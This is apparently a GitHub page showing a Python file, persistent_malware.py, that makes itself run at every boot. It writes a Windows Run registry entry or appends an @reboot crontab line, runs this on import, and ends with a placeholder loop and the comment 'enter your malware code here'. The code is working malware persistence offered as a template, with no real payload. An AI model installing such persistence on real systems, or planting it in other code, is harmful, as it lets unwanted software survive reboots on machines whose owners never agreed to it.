-
Notifications
You must be signed in to change notification settings - Fork 52
Expand file tree
/
Copy pathpersistent_malware.py
More file actions
81 lines (67 loc) · 2.51 KB
/
persistent_malware.py
File metadata and controls
81 lines (67 loc) · 2.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
import sys
try:
import winreg as reg
except ImportError:
# If the import fails, we are not on Windows
pass
import platform
def add_to_registry():
"""
Add the script to the Windows registry to run at startup.
This function adds the path to the current script to the Windows registry
under the "Software\Microsoft\Windows\CurrentVersion\Run" key, so that the
script will be executed every time the system starts up.
"""
# Path of the executable to run; e.g., python.exe
exe = sys.executable
# Path to the script to run at startup
script_path = os.path.realpath(__file__)
# Key to modify
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
# Specify the command
if exe.endswith("python.exe"):
command = f"{exe} {script_path}"
else:
# If the executable is not python, we need to specify the executable only
command = exe
key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_ALL_ACCESS)
reg.SetValueEx(key, "MyScript", 0, reg.REG_SZ, command) # Add the key to the registry
reg.CloseKey(key)
def add_to_cron():
"""
Add the script to the crontab to run at startup on Linux or macOS.
This function adds the path to the current script to the user's crontab,
with the "@reboot" directive, so that the script will be executed every
time the system starts up.
"""
# Append new cron job
if sys.executable.endswith("python") or sys.executable.endswith("python3"):
# Path to the script to run at startup
script_path = os.path.realpath(__file__)
command = f'(crontab -l 2>/dev/null; echo "@reboot {sys.executable} {script_path}") | crontab -'
else:
# If the executable is not python, we need to specify the executable only
command = f'(crontab -l 2>/dev/null; echo "@reboot {sys.executable}") | crontab -'
# Execute the command
os.system(command)
def make_persistent():
"""
Make the script persistent across system reboots.
This function checks the operating system and calls the appropriate
function (add_to_registry or add_to_cron) to make the script run
automatically at system startup.
"""
os_type = platform.system()
if os_type == "Windows":
add_to_registry()
elif os_type in ["Linux", "Darwin"]: # Darwin is macOS
add_to_cron()
# Example usage
make_persistent()
# enter your malware code here
import time
while True:
# Do something here
time.sleep(1)
print("Malware running...")